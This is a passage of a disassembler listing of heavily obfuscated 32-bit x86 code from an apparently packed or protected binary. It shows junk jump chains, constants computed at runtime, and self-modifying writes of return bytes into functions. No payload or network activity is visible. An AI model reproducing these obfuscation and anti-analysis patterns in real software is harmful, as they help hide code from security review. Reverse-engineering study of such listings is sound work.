xchg ebx, [esp] jmp loc_441540 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_4423DC: ; CODE XREF: sub_4432B8:loc_447100j ; y22d6.y.:loc_44A188j mov esi, eax xchg esi, [esp-4+arg_0] push ecx mov ecx, eax xchg ecx, [esp+0] mov edx, eax call sub_44D088 jmp sub_4477E6 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447268 loc_4423F3: ; CODE XREF: sub_447268:loc_449EEEj ; sub_447268+2C94j rol edx, 13h add edx, 5EBF06BCh loc_4423FC: ; CODE XREF: y22d6.y.:00441780j xchg edx, [esp+8+var_8] jmp loc_43CC15 ; END OF FUNCTION CHUNK FOR sub_447268 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440626 loc_442404: ; CODE XREF: sub_440626-1A2Aj push offset loc_44213A jmp nullsub_196 ; END OF FUNCTION CHUNK FOR sub_440626 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447896 loc_44240E: ; CODE XREF: sub_447896-1373j jl loc_44657A mov edi, eax mov ecx, [ebx] jmp loc_44657A ; END OF FUNCTION CHUNK FOR sub_447896 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44241D: ; CODE XREF: sub_448EB6-102F1j jl loc_443C42 xchg ebx, eax jmp loc_44383F ; --------------------------------------------------------------------------- loc_44242A: ; CODE XREF: sub_448EB6:loc_449068j jo loc_43C370 xor ebp, 7A3E73B9h jmp loc_449122 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; =============== S U B R O U T I N E ======================================= sub_44243B proc near ; CODE XREF: sub_43CA1Ap ; y22d6.y.:0044B619j ; FUNCTION CHUNK AT 0043897B SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0043DCF8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043FAC1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004451A3 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0044CB0A SIZE 0000002F BYTES ; FUNCTION CHUNK AT 0044D1FA SIZE 0000000B BYTES xchg edi, [esp+0] pop edi jnz loc_4451A3 push 0BE34DEFAh jmp loc_44CB0A sub_44243B endp ; sp-analysis failed ; --------------------------------------------------------------------------- locret_44244F: ; CODE XREF: y22d6.y.:0044392Ej retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440280 loc_442450: ; CODE XREF: sub_440280:loc_447F7Aj jmp loc_44210A ; END OF FUNCTION CHUNK FOR sub_440280 ; --------------------------------------------------------------------------- loc_442455: ; CODE XREF: y22d6.y.:00444D8Aj jmp loc_43927E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449641 loc_44245A: ; CODE XREF: sub_449641-C9FAj jmp loc_4371FC ; END OF FUNCTION CHUNK FOR sub_449641 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4385ED loc_44245F: ; CODE XREF: sub_4385ED+Cj jnz loc_43A354 mov eax, [ebp-14h] mov eax, [eax+24h] add eax, [ebp-4] xor edx, edx loc_442470: ; CODE XREF: sub_448EB6:loc_44BD91j push edx jmp loc_44566E ; END OF FUNCTION CHUNK FOR sub_4385ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4477E6 loc_442476: ; CODE XREF: sub_4477E6:loc_44C779j add ecx, 0E43571AAh mov [ecx], eax pop ecx mov eax, [ebp-4] mov al, [eax] jz loc_44C913 sub al, 99h push 5088622Ch jmp loc_44B658 ; END OF FUNCTION CHUNK FOR sub_4477E6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AA5D loc_442496: ; CODE XREF: sub_44AA5D:loc_448034j mov eax, [esp+0] push edx push ebx push 0B0260C3Fh pop ebx jmp loc_442648 ; END OF FUNCTION CHUNK FOR sub_44AA5D ; --------------------------------------------------------------------------- loc_4424A6: ; CODE XREF: y22d6.y.:0043D411j jz loc_44704E ; =============== S U B R O U T I N E ======================================= sub_4424AC proc near ; CODE XREF: sub_44C222:loc_4437FAp ; FUNCTION CHUNK AT 0043846F SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0044C2BA SIZE 00000005 BYTES xchg edx, [esp+0] pop edx push 0CBD0ED20h jmp loc_44C2BA sub_4424AC endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44374A loc_4424BA: ; CODE XREF: sub_44374A-EBBj shl ebx, 15h rol ebx, 1 loc_4424BF: ; CODE XREF: sub_44374A:loc_440908j mov eax, 33F214AFh call sub_43CA1A rol eax, 12h push offset sub_437913 jmp loc_43E329 ; END OF FUNCTION CHUNK FOR sub_44374A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44271A loc_4424D6: ; CODE XREF: sub_44271A:loc_44E1E2j or eax, 96A72D6h and eax, 0B7CADF98h add eax, 48F93550h mov eax, [eax] mov [eax], ebx push 0EE060C1Ah pop eax jmp loc_43B3F2 ; END OF FUNCTION CHUNK FOR sub_44271A ; --------------------------------------------------------------------------- jmp ds:off_41E100 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B98D loc_4424FD: ; CODE XREF: sub_43B98D+BE7Aj jmp nullsub_10 ; END OF FUNCTION CHUNK FOR sub_43B98D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4431CD loc_442502: ; CODE XREF: sub_448EB6-106D1j ; sub_4431CD:loc_44AB54j ... push offset loc_44B6C4 jmp nullsub_128 ; END OF FUNCTION CHUNK FOR sub_4431CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444427 loc_44250C: ; CODE XREF: sub_444427-AB0j jge loc_44926F test eax, 159222DBh jmp loc_4482E0 ; END OF FUNCTION CHUNK FOR sub_444427 ; --------------------------------------------------------------------------- and eax, 0BBCCBC1Ah mov ebp, eax jmp sub_443B55 ; --------------------------------------------------------------------------- loc_44252A: ; CODE XREF: y22d6.y.:0044C64Ej pop esi sub esi, 94314C2h rol esi, 12h push offset sub_4391EE jmp locret_44B20B ; --------------------------------------------------------------------------- loc_44253E: ; CODE XREF: y22d6.y.:0044E267j popf pushf ; START OF FUNCTION CHUNK FOR sub_43C6D7 loc_442540: ; CODE XREF: sub_43C6D7:loc_44E252j add ecx, 4FF92704h sub eax, ecx jmp loc_4488C8 ; END OF FUNCTION CHUNK FOR sub_43C6D7 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B7B5 loc_44254E: ; CODE XREF: sub_43B7B5+9B92j jmp loc_44744F ; END OF FUNCTION CHUNK FOR sub_43B7B5 ; --------------------------------------------------------------------------- db 0Bh dword_442554 dd 0AA6061C0h ; DATA XREF: sub_43A6E1:loc_437AA1r ; sub_43A6E1+6r ... ; --------------------------------------------------------------------------- loc_442558: ; CODE XREF: y22d6.y.:00444402j jmp sub_447268 ; =============== S U B R O U T I N E ======================================= sub_44255D proc near ; CODE XREF: sub_40CA0C+AAp ; sub_40E68F+B9p ... call sub_44256D jmp ds:off_41E194 sub_44255D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438B66 loc_442568: ; CODE XREF: sub_438B66+11C98j jmp locret_4408E4 ; END OF FUNCTION CHUNK FOR sub_438B66 ; =============== S U B R O U T I N E ======================================= sub_44256D proc near ; CODE XREF: y22d6.y.:00439661j ; sub_4388E5:loc_43EFFBj ... ; FUNCTION CHUNK AT 00438875 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004398BF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F1B7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00440B97 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 004431BD SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00445D7F SIZE 00000028 BYTES ; FUNCTION CHUNK AT 004486FA SIZE 00000010 BYTES jno loc_445D98 pop edx jmp loc_438875 sub_44256D endp ; sp-analysis failed ; --------------------------------------------------------------------------- js loc_43B725 cmp ebp, ebx jmp loc_441BFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44371A loc_442586: ; CODE XREF: sub_44371A:loc_438031j push eax call sub_4480DE retn ; END OF FUNCTION CHUNK FOR sub_44371A ; --------------------------------------------------------------------------- loc_44258D: ; CODE XREF: y22d6.y.:00447DE0j jmp loc_43BEB0 ; =============== S U B R O U T I N E ======================================= sub_442592 proc near ; CODE XREF: sub_44AA69-115EEp ; sub_44CEB8-10386j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0043E892 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00445766 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044840D SIZE 00000015 BYTES jnb sub_43D8B5 push esi jmp loc_43E892 sub_442592 endp ; --------------------------------------------------------------------------- mov edi, [ebp+0] jmp loc_441689 ; --------------------------------------------------------------------------- sbb ebx, edi shl esi, 3 jmp sub_44AC0F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_4425B0: ; CODE XREF: sub_4432B8+718Aj mov ecx, eax or ebx, ebp push 361D3754h cmp esi, 0FB7AB620h jmp loc_43F7AB ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- loc_4425C4: ; CODE XREF: y22d6.y.:00441509j add esi, eax ; START OF FUNCTION CHUNK FOR sub_43B7B5 loc_4425C6: ; CODE XREF: sub_43B7B5+D208j call sub_44ACEA retn ; END OF FUNCTION CHUNK FOR sub_43B7B5 ; --------------------------------------------------------------------------- dword_4425CC dd 0 ; DATA XREF: sub_43DF56:loc_43AEC8r ; sub_44A7A9-91F3w ... ; =============== S U B R O U T I N E ======================================= sub_4425D0 proc near ; CODE XREF: sub_40140A+14Dp ; sub_40158F+1C1p ... call sub_4425E0 jmp ds:off_41E00C sub_4425D0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B878 loc_4425DB: ; CODE XREF: sub_43B878-2364j jmp loc_4409FA ; END OF FUNCTION CHUNK FOR sub_43B878 ; =============== S U B R O U T I N E ======================================= sub_4425E0 proc near ; CODE XREF: y22d6.y.:0043ABFCj ; sub_4425D0p ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0043A4D0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043AC01 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043BFDB SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0043D0CB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00440E3E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00441B3F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00445514 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044CB8E SIZE 00000018 BYTES pop edx jnb loc_43AC01 mov eax, [esp+0] jmp loc_43BFDB sub_4425E0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B7B5 loc_4425EF: ; CODE XREF: sub_43B7B5+9B62j shl edi, 2 loc_4425F2: ; CODE XREF: sub_43B7B5:loc_44CEA2j push offset sub_445362 jmp nullsub_232 ; END OF FUNCTION CHUNK FOR sub_43B7B5 ; --------------------------------------------------------------------------- loc_4425FC: ; CODE XREF: y22d6.y.:0044E372j mov eax, ds:dword_444B94 or eax, eax jnz loc_43D6B0 jmp loc_43EC7C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E5C7 loc_44260F: ; CODE XREF: sub_44E5C7:loc_441858j not eax ; END OF FUNCTION CHUNK FOR sub_44E5C7 ; START OF FUNCTION CHUNK FOR sub_43B7B5 loc_442611: ; CODE XREF: sub_43B7B5:loc_447D34j mov [edx], ecx jmp loc_44C761 ; END OF FUNCTION CHUNK FOR sub_43B7B5 ; --------------------------------------------------------------------------- push ecx sub eax, 6A156D7Ah jmp sub_44D793 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C55B loc_442624: ; CODE XREF: sub_43C55B:loc_44B5D4j mov ds:off_41E090, eax lea eax, sub_4422AA mov byte ptr [eax], 0C3h jmp loc_4463C9 ; END OF FUNCTION CHUNK FOR sub_43C55B ; =============== S U B R O U T I N E ======================================= sub_442638 proc near ; CODE XREF: sub_41A0B7+14Cp ; sub_442638+5j ; DATA XREF: ... call sub_44E1BD jmp ds:off_41E094 sub_442638 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44057E loc_442643: ; CODE XREF: sub_44057E+81B3j jmp loc_43E95E ; END OF FUNCTION CHUNK FOR sub_44057E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AA5D loc_442648: ; CODE XREF: sub_44AA5D-85BCj jmp loc_44D04C ; END OF FUNCTION CHUNK FOR sub_44AA5D ; --------------------------------------------------------------------------- test edx, 3CE90A0Eh jmp loc_4489A8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447896 loc_442658: ; CODE XREF: sub_447896:loc_444517j xchg ebp, [esp+0] call sub_44ABC9 mov eax, 0B9726E5Ah call sub_43CA1A jmp loc_446510 ; END OF FUNCTION CHUNK FOR sub_447896 ; --------------------------------------------------------------------------- push 0F9061CE4h pop eax and eax, ds:4000E3h add eax, 0E504BEE1h call sub_43CA1A mov ds:off_41E06C, eax jmp loc_448D4F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C712 loc_442691: ; CODE XREF: sub_43C712+43FCj jns loc_445528 loc_442697: ; CODE XREF: sub_43C712:loc_437C5Dj mov eax, [ebp-4] add eax, 3Ch mov eax, [eax] push ebx call sub_442770 loc_4426A5: ; CODE XREF: y22d6.y.:0043FAB6j jmp loc_43779D ; END OF FUNCTION CHUNK FOR sub_43C712 ; --------------------------------------------------------------------------- jmp ds:dword_41E110 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BEF7 loc_4426B0: ; CODE XREF: sub_43BEF7+EEFAj jmp loc_447DE5 ; END OF FUNCTION CHUNK FOR sub_43BEF7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A359 loc_4426B5: ; CODE XREF: sub_44A359-C060j jmp nullsub_230 ; END OF FUNCTION CHUNK FOR sub_44A359 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_4426BA: ; CODE XREF: sub_4432B8-8E82j jmp loc_438353 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND] dd 0FFFF514Ah ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A6E1 loc_4426C4: ; CODE XREF: sub_43A6E1-2C38j jmp loc_43B0E3 ; END OF FUNCTION CHUNK FOR sub_43A6E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D313 loc_4426C9: ; CODE XREF: sub_44D313+Bj jo loc_4444BF add eax, [esp+0] adc edx, [esp+arg_0] add esp, 8 call sub_442FA7 ; END OF FUNCTION CHUNK FOR sub_44D313 ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_4426DE: ; CODE XREF: sub_4432B8+235j jmp sub_446425 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- adc esi, ebx jmp sub_4438A8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439E63 loc_4426EA: ; CODE XREF: sub_439E63:loc_443DE6j mov ebp, 53F62E99h mov ebx, [ebp+0] jmp loc_449515 ; END OF FUNCTION CHUNK FOR sub_439E63 ; --------------------------------------------------------------------------- popf jmp sub_444A91 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C758 loc_4426FD: ; CODE XREF: sub_44C758-6EC5j call sub_439A90 loc_442702: ; CODE XREF: sub_44B17B+2628j jmp loc_4432C9 ; END OF FUNCTION CHUNK FOR sub_44C758 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_442707: ; CODE XREF: sub_448EB6-7D88j jmp loc_442D7D ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C6D7 loc_44270C: ; CODE XREF: sub_43C6D7+3C26j ; DATA XREF: sub_43B11C+Fo lea eax, sub_4475B3 mov byte ptr [eax], 0C3h jmp sub_4475B3 ; END OF FUNCTION CHUNK FOR sub_43C6D7 ; =============== S U B R O U T I N E ======================================= sub_44271A proc near ; CODE XREF: sub_405168+1Bp ; sub_405231+1Fp ; DATA XREF: ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00437EC7 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 004383D0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00438653 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004388A2 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00438EBB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043AFED SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0043B3F2 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0043BCED SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043BD19 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043C3A7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043CA5D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043D104 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0043D36E SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0043D570 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043D76A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043FBA3 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 004404AD SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00440661 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0044148E SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00441BD8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004424D6 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0044298B SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0044451C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00444799 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00444877 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00444AF9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00445A5A SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00445C46 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00446EE0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00447BC1 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 004481DD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044971D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00449A76 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00449E4F SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00449FCA SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0044A54B SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0044A640 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044A683 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044ABBE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044AC93 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044AE34 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0044B902 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0044D60A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044DE8E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044E1CF SIZE 00000018 BYTES jnz loc_447BC1 push 5E3871FEh jmp loc_44B902 sub_44271A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439A78 loc_44272A: ; CODE XREF: sub_4432B8-88CCj ; sub_439A78:loc_43EB33j xor eax, 276B6890h add eax, 823FEEE0h popf xchg eax, [esp-4+arg_0] jmp sub_43F7FF ; END OF FUNCTION CHUNK FOR sub_439A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E15A loc_44273F: ; CODE XREF: sub_43E15A+54D3j xchg edx, [esp+4+var_4] jmp loc_445167 ; END OF FUNCTION CHUNK FOR sub_43E15A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FFE2 loc_442747: ; CODE XREF: sub_43FFE2+203Aj adc ebx, eax ; END OF FUNCTION CHUNK FOR sub_43FFE2 ; START OF FUNCTION CHUNK FOR sub_439051 loc_442749: ; CODE XREF: sub_43FFE2:loc_43BCF7j ; sub_439051:loc_44565Dj mov eax, 10h push offset sub_43E196 jmp nullsub_48 ; END OF FUNCTION CHUNK FOR sub_439051 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444581 loc_442758: ; CODE XREF: sub_444581-8C1Dj jz loc_437AE6 jmp loc_43879F ; END OF FUNCTION CHUNK FOR sub_444581 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B489 loc_442763: ; CODE XREF: sub_44B489-12C48j jz loc_44B062 jmp loc_43C54B ; END OF FUNCTION CHUNK FOR sub_44B489 ; --------------------------------------------------------------------------- loc_44276E: ; CODE XREF: y22d6.y.:00449B74j and ebx, ebp ; =============== S U B R O U T I N E ======================================= sub_442770 proc near ; CODE XREF: sub_43C712+5F8Ep ; FUNCTION CHUNK AT 0043871F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0044B8F7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044DCD5 SIZE 00000015 BYTES xchg ecx, [esp+0] pop ecx push 0F99F432Dh pop ebx rol ebx, 0Dh sub ebx, 307CDC8Ch add ebx, 0D6F930DCh jmp loc_43871F sub_442770 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B252 loc_44278E: ; CODE XREF: sub_43B252-1748j pop edx loc_44278F: ; CODE XREF: sub_43B252:loc_439B02j xor eax, 6824F656h push eax push 46EAE991h jmp loc_44A32F ; END OF FUNCTION CHUNK FOR sub_43B252 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_4427A0: ; CODE XREF: sub_448EB6-355j jp loc_44769E mov esi, [edx] loc_4427A8: ; CODE XREF: sub_448EB6:loc_4477D0j mov eax, [ebp-4] loc_4427AB: ; CODE XREF: y22d6.y.:004492CEj add eax, 3Ch mov eax, [eax] push edx push 0ED72E748h jmp loc_43ABB3 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; =============== S U B R O U T I N E ======================================= sub_4427BB proc near ; DATA XREF: sub_44B0E5+Fo ; FUNCTION CHUNK AT 0043CBC2 SIZE 00000005 BYTES pop ecx push offset sub_4372D3 jmp loc_43CBC2 sub_4427BB endp ; --------------------------------------------------------------------------- mov eax, [esp] call sub_4480DE jmp loc_43FDAA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B7B5 loc_4427D3: ; CODE XREF: sub_43B7B5+D6C5j push edx push 0AFEFEE6Ah pop edx add edx, 0C815B413h jnz loc_4489BA ; END OF FUNCTION CHUNK FOR sub_43B7B5 ; START OF FUNCTION CHUNK FOR sub_4396B2 loc_4427E6: ; CODE XREF: sub_4396B2+6j jmp nullsub_49 ; END OF FUNCTION CHUNK FOR sub_4396B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C694 loc_4427EB: ; CODE XREF: sub_43C694-31F3j jmp loc_437148 ; END OF FUNCTION CHUNK FOR sub_43C694 ; --------------------------------------------------------------------------- loc_4427F0: ; CODE XREF: y22d6.y.:0044BCD5j xchg ebx, [esp] push 0C35FE290h pop eax and eax, 2E7D4742h test eax, 8 jmp loc_43762E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442856 loc_44280A: ; CODE XREF: sub_442856-A738j jnz loc_449920 jmp loc_44B2A9 ; END OF FUNCTION CHUNK FOR sub_442856 ; --------------------------------------------------------------------------- push 430186CCh pop eax or eax, 14289F94h jns loc_43DCD4 ; START OF FUNCTION CHUNK FOR sub_447BB2 loc_442827: ; CODE XREF: sub_447BB2+Aj jmp loc_43E360 ; END OF FUNCTION CHUNK FOR sub_447BB2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B98D loc_44282C: ; CODE XREF: sub_43B98D+93E3j jmp loc_44985E ; END OF FUNCTION CHUNK FOR sub_43B98D ; --------------------------------------------------------------------------- sub edi, ecx shl edi, 16h jmp loc_43DCD4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F35E loc_44283B: ; CODE XREF: sub_43F35E+52F0j sbb esi, ebx and eax, 0DC55CE52h loc_442843: ; CODE XREF: sub_43F35E:loc_44DE68j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_43EF08 jmp loc_43C63C ; END OF FUNCTION CHUNK FOR sub_43F35E ; --------------------------------------------------------------------------- loc_442854: ; CODE XREF: y22d6.y.:0044825Aj xchg ecx, edi ; =============== S U B R O U T I N E ======================================= sub_442856 proc near ; CODE XREF: sub_441030-5349p ; FUNCTION CHUNK AT 00438118 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00439847 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043CC4C SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0044182A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044280A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00448681 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044B2A9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044E216 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0044E47F SIZE 0000001B BYTES xchg eax, [esp+0] pop eax pop edx mov eax, [ebp-4] mov al, [eax] js loc_44E216 jmp loc_439847 sub_442856 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push ecx push 0DB4A45Dh pop ecx rol ecx, 15h or ecx, 797C10C7h add ecx, 4442961h mov [ecx], eax jmp loc_44BDA1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44374A loc_442888: ; CODE XREF: sub_44374A:loc_4375CCj not esi rol ecx, 13h mov ebx, [eax] jmp loc_4424BA ; END OF FUNCTION CHUNK FOR sub_44374A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AEDA loc_442894: ; CODE XREF: sub_44AEDA-B1D9j cmp eax, 2CBE3216h jmp loc_449915 ; END OF FUNCTION CHUNK FOR sub_44AEDA ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_355. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_4428A0: ; CODE XREF: sub_448EB6-61CEj jmp loc_43981A ; --------------------------------------------------------------------------- loc_4428A5: ; CODE XREF: sub_448EB6-B921j jmp loc_43D2F9 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4428AA proc near ; CODE XREF: sub_438DAA:loc_4445A2j push ebp mov ebp, esp push offset sub_44CD2E jmp nullsub_217 sub_4428AA endp ; --------------------------------------------------------------------------- jle loc_44DE6E jmp loc_43BF95 ; =============== S U B R O U T I N E ======================================= sub_4428C2 proc near ; CODE XREF: sub_448CE6j ; DATA XREF: sub_448CDCo var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00437E91 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00438319 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004390F1 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 004391C6 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0043A64C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043B157 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0043EF67 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00441A8A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00447AB8 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00449BDE SIZE 00000015 BYTES push eax push 2B5A9639h pop eax xor eax, ds:4000E7h jmp loc_438319 sub_4428C2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4428D4: ; CODE XREF: y22d6.y.:004459CDj sub eax, 0A2E99D60h adc edi, 30D9E5B5h loc_4428E0: ; CODE XREF: y22d6.y.:loc_4459AEj or ecx, 50DB91E5h sub ecx, 26297128h rol ecx, 4 add ecx, 551DB198h xchg ecx, [esp] jmp sub_43CA1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E242 loc_4428FD: ; CODE XREF: sub_44E242-8030j mov eax, [esp+0] push edx call sub_438E86 mov eax, 0D4280129h push edx jmp loc_43E88D ; END OF FUNCTION CHUNK FOR sub_44E242 ; --------------------------------------------------------------------------- loc_442911: ; CODE XREF: y22d6.y.:loc_447110j push offset sub_445F44 jmp loc_43CAB4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_44291B: ; CODE XREF: sub_44BCC2-7CE2j jl loc_446E4A mov eax, 0FEA91DCEh pushf jmp loc_446E43 ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; --------------------------------------------------------------------------- 